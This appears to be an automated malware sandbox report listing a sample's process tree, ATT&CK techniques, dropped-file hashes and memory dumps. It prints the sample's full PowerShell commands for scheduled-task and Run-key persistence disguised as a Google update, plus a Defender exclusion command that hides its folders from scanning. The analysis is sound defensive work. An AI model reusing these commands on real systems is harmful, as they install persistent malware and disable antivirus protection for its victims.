C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qcoya#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\ab.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ab.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\ab.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#kfqwhwv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\ab.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3468

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:2252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qcoya#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\ab.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ab.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\ab.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4712

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe lutcoyhksuipfj
2⤵
PID:4732

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
4⤵
PID:2180

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:3040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe jqbazjfqnrolynda 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeNvlZ6DZqKQqPSVJ0y74VnV6dYqaP9EW9yUIjgmziHnBHN/JCwDZ3uk9UTRCSXVaebqmWY5H5Xin0jylLdr7tfTPmLhpiPsy1UNkCmXMWATQIwoLJfqgCh50rV7lqdllbiKZ9ueH41Cq8a/Hio9Y+9/52H7AhkPlhEKpKDhhyWtbzSI0DBir8/ypiQ8wbwNyS89qcchqERN5owTDWNX/lH8c9cfJPwhLaKXm7U1hMgV72n8oemdvQ2aGZ5yCGe+wpL/B7Rj93guVrg1ZRL7cErMhdP5/rzZOxoasBsCNEnySkqkS5DWukk6+I59plojahzJ9gOS2vW2Yzof/vsxvcZmWGNb+J0JHGYNDQEdhmfOfD4+BnlHdqvURqXqdf6UQil9Ejd74xINagHV1AyePTOqA1HcL1VCHK3L7dKYRCtXtqA1nI/mZM+RRN55S5kG5o
2⤵
PID:1392

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qmljvdjaranmuedc 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZe1skUuA1B/sblOIHz5y0E3CjvcAWNZuj8V/rTegdRfQdB0T+45yCIrAKoritb4L1f8zdvmvLH+lK/O4bYurlfmWc4LJg9rMwCZygZSO91dhCEwiwkykMh2a7MSMA3t0M/2JvTZVSvwTTvFxAS5ArZbywOpOX3tMi2HrdsivNdio4KjvvCHqjroIXH9OHLykW6hlfAosSCVIoolLUU6RzA9oq+XPWpg6yIijzgXwClbaHOFYM0s2QXUC6b1YDoVQbcUATMgTmS+5cH21g3Gom1xTUPPWIcrVd8fmoLvTM+3Pzk9VEjLmBOjjFx2GxPBUHqM/B0+T4kiakOrOGFdLKGSbsX99mbD9sqepbm72jc7z5qnhbTJ5avbdqBSLD4eybbH45yo0U6o/H+OL3/+ye3Ry8qna/lC6V6QV0dQavAWoFZBd+jKvpDWAV9NgrfZJkIMel65USNJ020X+VU8zJTHA==
2⤵
PID:4892

C:\Program Files (x86)\Recorder\VideoRecorder.exe
"C:\Program Files (x86)\Recorder\VideoRecorder.exe"
1⤵
- Executes dropped EXE
PID:1896

C:\Program Files\Google\Chrome\ab.exe
"C:\Program Files\Google\Chrome\ab.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Recorder\VideoRecorder.exe

Filesize
908KB

MD5
5b57d2022c736cd5218df873456104e1

SHA1
ed8ad733c18308d669ca2b470ee07de061ff1aa2

SHA256
c2def6823301dd51f674bfae8cae527f0fa450a835bc2f3e3d91197f7e53b250

SHA512
b0b14ee7d59e00accd3f9cbea8d674501d69758667d63341b7d2828474511a062a7d76ff2ff082927159e91470f17c2999a916fed98e7a4776de5eac63baffbd

Download Submit
C:\Program Files (x86)\Recorder\VideoRecorder.exe

Filesize
908KB

MD5
5b57d2022c736cd5218df873456104e1

SHA1
ed8ad733c18308d669ca2b470ee07de061ff1aa2

SHA256
c2def6823301dd51f674bfae8cae527f0fa450a835bc2f3e3d91197f7e53b250

SHA512
b0b14ee7d59e00accd3f9cbea8d674501d69758667d63341b7d2828474511a062a7d76ff2ff082927159e91470f17c2999a916fed98e7a4776de5eac63baffbd

Download Submit
C:\Program Files (x86)\Recorder\VideoRecorder.exe

Filesize
908KB

MD5
5b57d2022c736cd5218df873456104e1

SHA1
ed8ad733c18308d669ca2b470ee07de061ff1aa2

SHA256
c2def6823301dd51f674bfae8cae527f0fa450a835bc2f3e3d91197f7e53b250

SHA512
b0b14ee7d59e00accd3f9cbea8d674501d69758667d63341b7d2828474511a062a7d76ff2ff082927159e91470f17c2999a916fed98e7a4776de5eac63baffbd

Download Submit
C:\Program Files (x86)\Recorder\VideoRecorder.exe.config

Filesize
357B

MD5
a2b76cea3a59fa9af5ea21ff68139c98

SHA1
35d76475e6a54c168f536e30206578babff58274

SHA256
f99ef5bf79a7c43701877f0bb0b890591885bb0a3d605762647cc8ffbf10c839

SHA512
b52608b45153c489419228864ecbcb92be24c644d470818dfe15f8c7e661a7bcd034ea13ef401f2b84ad5c29a41c9b4c7d161cc33ae3ef71659bc2bca1a8c4ad

Download Submit
C:\Program Files\Google\Chrome\ab.exe

Filesize
3.5MB

MD5
feddea1d2ae08b032491316990e9f36e

SHA1
3186477228ad11006a8d920a82a44be0ffe2422b

SHA256
fab1bccef0ad8e3cb321c3372a62517b28279a511ca182f616adde3d48e9ebdf

SHA512
61f9bcdce471d199f41e279ec33e60ba86194965675f6ac61f80fdea70f5455e68f4f3225224ac358cf8902d9be0d75896ebf47099881667c8847cba00b0aebd

Download Submit
C:\Program Files\Google\Chrome\ab.exe

Filesize
3.5MB

MD5
feddea1d2ae08b032491316990e9f36e

SHA1
3186477228ad11006a8d920a82a44be0ffe2422b

SHA256
fab1bccef0ad8e3cb321c3372a62517b28279a511ca182f616adde3d48e9ebdf

SHA512
61f9bcdce471d199f41e279ec33e60ba86194965675f6ac61f80fdea70f5455e68f4f3225224ac358cf8902d9be0d75896ebf47099881667c8847cba00b0aebd

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svchost.exe.log

Filesize
425B

MD5
4eaca4566b22b01cd3bc115b9b0b2196

SHA1
e743e0792c19f71740416e7b3c061d9f1336bf94

SHA256
34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

SHA512
bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5e3e218199811e4980461857215b10e4

SHA1
0281303771e2c3fa30ffbb1ef6bfc7f0666bd842

SHA256
b35ba158da8abe40db98ee9a98bbaebe665ffdc16ad4e1a1cb2d01dcb014c3aa

SHA512
41451cd1294a3c11b62111de67c20642525dc40c514ae43d0dd05cf94d3c06253f8c1e1dde1b922503a3d788b90b1fa8db24895d4e98300e04fc422e35e3d7dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f2vkyxyi.uu2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchost.exe

Filesize
3.5MB

MD5
feddea1d2ae08b032491316990e9f36e

SHA1
3186477228ad11006a8d920a82a44be0ffe2422b

SHA256
fab1bccef0ad8e3cb321c3372a62517b28279a511ca182f616adde3d48e9ebdf

SHA512
61f9bcdce471d199f41e279ec33e60ba86194965675f6ac61f80fdea70f5455e68f4f3225224ac358cf8902d9be0d75896ebf47099881667c8847cba00b0aebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchost.exe

Filesize
3.5MB

MD5
feddea1d2ae08b032491316990e9f36e

SHA1
3186477228ad11006a8d920a82a44be0ffe2422b

SHA256
fab1bccef0ad8e3cb321c3372a62517b28279a511ca182f616adde3d48e9ebdf

SHA512
61f9bcdce471d199f41e279ec33e60ba86194965675f6ac61f80fdea70f5455e68f4f3225224ac358cf8902d9be0d75896ebf47099881667c8847cba00b0aebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchost.exe

Filesize
3.5MB

MD5
feddea1d2ae08b032491316990e9f36e

SHA1
3186477228ad11006a8d920a82a44be0ffe2422b

SHA256
fab1bccef0ad8e3cb321c3372a62517b28279a511ca182f616adde3d48e9ebdf

SHA512
61f9bcdce471d199f41e279ec33e60ba86194965675f6ac61f80fdea70f5455e68f4f3225224ac358cf8902d9be0d75896ebf47099881667c8847cba00b0aebd

Download Submit
C:\Users\Admin\AppData\Local\conhost.exe

Filesize
908KB

MD5
5b57d2022c736cd5218df873456104e1

SHA1
ed8ad733c18308d669ca2b470ee07de061ff1aa2

SHA256
c2def6823301dd51f674bfae8cae527f0fa450a835bc2f3e3d91197f7e53b250

SHA512
b0b14ee7d59e00accd3f9cbea8d674501d69758667d63341b7d2828474511a062a7d76ff2ff082927159e91470f17c2999a916fed98e7a4776de5eac63baffbd

Download Submit
C:\Users\Admin\AppData\Local\conhost.exe

Filesize
908KB

MD5
5b57d2022c736cd5218df873456104e1

SHA1
ed8ad733c18308d669ca2b470ee07de061ff1aa2

SHA256
c2def6823301dd51f674bfae8cae527f0fa450a835bc2f3e3d91197f7e53b250

SHA512
b0b14ee7d59e00accd3f9cbea8d674501d69758667d63341b7d2828474511a062a7d76ff2ff082927159e91470f17c2999a916fed98e7a4776de5eac63baffbd

Download Submit
C:\Users\Admin\AppData\Local\conhost.exe

Filesize
908KB

MD5
5b57d2022c736cd5218df873456104e1

SHA1
ed8ad733c18308d669ca2b470ee07de061ff1aa2

SHA256
c2def6823301dd51f674bfae8cae527f0fa450a835bc2f3e3d91197f7e53b250

SHA512
b0b14ee7d59e00accd3f9cbea8d674501d69758667d63341b7d2828474511a062a7d76ff2ff082927159e91470f17c2999a916fed98e7a4776de5eac63baffbd

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
9KB

MD5
913967b216326e36a08010fb70f9dba3

SHA1
7b6f8c2eb5b443e03c212b85c2f0edb9c76ad2bf

SHA256
8d880758549220154d2ff4ee578f2b49527c5fb76a07d55237b61e30bcc09e3a

SHA512
c6fcb98d9fd509e9834fc3fba143bd36d41869cc104fbce5354951f0a6756156e34a30796baaa130dd45de3ed96e039ec14716716f6da4569915c7ef2d2b6c33

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
9KB

MD5
913967b216326e36a08010fb70f9dba3

SHA1
7b6f8c2eb5b443e03c212b85c2f0edb9c76ad2bf

SHA256
8d880758549220154d2ff4ee578f2b49527c5fb76a07d55237b61e30bcc09e3a

SHA512
c6fcb98d9fd509e9834fc3fba143bd36d41869cc104fbce5354951f0a6756156e34a30796baaa130dd45de3ed96e039ec14716716f6da4569915c7ef2d2b6c33

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
9KB

MD5
913967b216326e36a08010fb70f9dba3

SHA1
7b6f8c2eb5b443e03c212b85c2f0edb9c76ad2bf

SHA256
8d880758549220154d2ff4ee578f2b49527c5fb76a07d55237b61e30bcc09e3a

SHA512
c6fcb98d9fd509e9834fc3fba143bd36d41869cc104fbce5354951f0a6756156e34a30796baaa130dd45de3ed96e039ec14716716f6da4569915c7ef2d2b6c33

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
9KB

MD5
913967b216326e36a08010fb70f9dba3

SHA1
7b6f8c2eb5b443e03c212b85c2f0edb9c76ad2bf

SHA256
8d880758549220154d2ff4ee578f2b49527c5fb76a07d55237b61e30bcc09e3a

SHA512
c6fcb98d9fd509e9834fc3fba143bd36d41869cc104fbce5354951f0a6756156e34a30796baaa130dd45de3ed96e039ec14716716f6da4569915c7ef2d2b6c33

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe.config

Filesize
357B

MD5
a2b76cea3a59fa9af5ea21ff68139c98

SHA1
35d76475e6a54c168f536e30206578babff58274

SHA256
f99ef5bf79a7c43701877f0bb0b890591885bb0a3d605762647cc8ffbf10c839

SHA512
b52608b45153c489419228864ecbcb92be24c644d470818dfe15f8c7e661a7bcd034ea13ef401f2b84ad5c29a41c9b4c7d161cc33ae3ef71659bc2bca1a8c4ad

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/532-173-0x0000000006DD0000-0x0000000006DDA000-memory.dmp

Filesize
40KB

Download
memory/532-184-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/532-243-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/532-171-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/1132-309-0x00007FF72D660000-0x00007FF72D9F3000-memory.dmp

Filesize
3.6MB

Download
memory/1132-244-0x00007FF72D660000-0x00007FF72D9F3000-memory.dmp

Filesize
3.6MB

Download
memory/1392-319-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-326-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-317-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-347-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-344-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-335-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-322-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-308-0x000001E7347A0000-0x000001E7347C0000-memory.dmp

Filesize
128KB

Download
memory/1392-324-0x000001E734EC0000-0x000001E734EE0000-memory.dmp

Filesize
128KB

Download
memory/1392-311-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-354-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-338-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-341-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-332-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1392-328-0x000001E734EC0000-0x000001E734EE0000-memory.dmp

Filesize
128KB

Download
memory/1392-313-0x000001E734E80000-0x000001E734EC0000-memory.dmp

Filesize
256KB

Download
memory/1392-315-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp

Filesize
8.0MB

Download
memory/1708-221-0x000001E16F5B0000-0x000001E16F5C0000-memory.dmp

Filesize
64KB

Download
memory/1708-223-0x000001E16F5B0000-0x000001E16F5C0000-memory.dmp

Filesize
64KB

Download
memory/1708-222-0x000001E16F5B0000-0x000001E16F5C0000-memory.dmp

Filesize
64KB

Download
memory/1896-178-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download
memory/3468-238-0x000001767D060000-0x000001767D070000-memory.dmp

Filesize
64KB

Download
memory/3468-240-0x000001767D060000-0x000001767D070000-memory.dmp

Filesize
64KB

Download
memory/3468-239-0x000001767D060000-0x000001767D070000-memory.dmp

Filesize
64KB

Download
memory/3680-189-0x0000000000DE0000-0x0000000000DE8000-memory.dmp

Filesize
32KB

Download
memory/4092-154-0x0000000005460000-0x00000000054F2000-memory.dmp

Filesize
584KB

Download
memory/4092-153-0x0000000005C70000-0x0000000006214000-memory.dmp

Filesize
5.6MB

Download
memory/4092-152-0x00000000056B0000-0x00000000056C0000-memory.dmp

Filesize
64KB

Download
memory/4092-151-0x00000000009F0000-0x0000000000AD8000-memory.dmp

Filesize
928KB

Download
memory/4572-265-0x00000256B3070000-0x00000256B308C000-memory.dmp

Filesize
112KB

Download
memory/4572-267-0x00007FF4B6FB0000-0x00007FF4B6FC0000-memory.dmp

Filesize
64KB

Download
memory/4572-254-0x00000256B2020000-0x00000256B2030000-memory.dmp

Filesize
64KB

Download
memory/4572-255-0x00000256B2020000-0x00000256B2030000-memory.dmp

Filesize
64KB

Download
memory/4572-274-0x00000256B2020000-0x00000256B2030000-memory.dmp

Filesize
64KB

Download
memory/4572-273-0x00000256B32E0000-0x00000256B32EA000-memory.dmp

Filesize
40KB

Download
memory/4572-266-0x00000256B2E60000-0x00000256B2E6A000-memory.dmp

Filesize
40KB

Download
memory/4572-272-0x00000256B32D0000-0x00000256B32D6000-memory.dmp

Filesize
24KB

Download
memory/4572-268-0x00000256B32B0000-0x00000256B32CC000-memory.dmp

Filesize
112KB

Download
memory/4572-271-0x00000256B32A0000-0x00000256B32A8000-memory.dmp

Filesize
32KB

Download
memory/4572-269-0x00000256B3290000-0x00000256B329A000-memory.dmp

Filesize
40KB

Download
memory/4572-270-0x00000256B32F0000-0x00000256B330A000-memory.dmp

Filesize
104KB

Download
memory/4600-227-0x00007FF68EDC0000-0x00007FF68F153000-memory.dmp

Filesize
3.6MB

Download
memory/4600-204-0x00007FF68EDC0000-0x00007FF68F153000-memory.dmp

Filesize
3.6MB

Download
memory/4700-199-0x00000169BB630000-0x00000169BB652000-memory.dmp

Filesize
136KB

Download
memory/4700-206-0x00000169BB660000-0x00000169BB670000-memory.dmp

Filesize
64KB

Download
memory/4700-205-0x00000169BB660000-0x00000169BB670000-memory.dmp

Filesize
64KB

Download
memory/4700-207-0x00000169BB660000-0x00000169BB670000-memory.dmp

Filesize
64KB

Download
memory/4712-300-0x0000029246779000-0x000002924677F000-memory.dmp

Filesize
24KB

Download
memory/4712-288-0x0000029246770000-0x0000029246780000-memory.dmp

Filesize
64KB

Download
memory/4712-298-0x00007FF4D2EA0000-0x00007FF4D2EB0000-memory.dmp

Filesize
64KB

Download
memory/4732-314-0x00007FF79D8D0000-0x00007FF79D8E6000-memory.dmp

Filesize
88KB

Download
memory/4732-321-0x00007FF79D8D0000-0x00007FF79D8E6000-memory.dmp

Filesize
88KB

Download
memory/4892-312-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-336-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-316-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-339-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-323-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-342-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-327-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-345-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-333-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-352-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-320-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download
memory/4892-355-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp

Filesize
8.0MB

Download